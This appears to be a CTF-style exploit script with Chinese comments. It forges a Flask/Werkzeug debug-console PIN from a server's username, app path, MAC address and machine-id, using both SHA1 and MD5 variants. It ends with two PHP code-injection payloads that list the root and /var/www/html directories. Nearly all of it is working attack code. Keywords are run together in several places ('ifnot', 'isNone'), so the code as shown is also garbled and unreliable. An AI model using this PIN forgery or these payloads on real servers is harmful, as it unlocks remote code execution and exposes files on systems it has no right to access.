import hashlib import getpass from flask import Flask from itertools import chain import sys import uuid import typing as t username='root'#根据实际情况填写 app = Flask(__name__) modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__) mod=sys.modules.get(modname) mod = getattr(mod, "__file__", None) probably_public_bits = [ username, #用户名 modname, #一般固定为flask.app getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask '/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径,根据报错填写 ] print(probably_public_bits) mac ='02:42:ac:0c:58:94'.replace(':','')#根据实际情况填写 mac=str(int(mac,base=16)) private_bits = [ mac,#mac地址十进制 "225374fa-04bc-4346-9f39-48fa82829ca912bb544a6d77fdf45d28022b7673035f6468c0049a672fa14e64b2a994fa00df"#根据实际情况填写 ] print(private_bits) h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv=None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join ( num[x : x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break else: rv = num print(rv)
h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num
1=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');} #读根目录下有哪些文件 1=$a = new DirectoryIterator("glob:///var/www/html/*");foreach($a as $f){echo($f->__toString().'<br>');} #读/var/www/html下有哪些文件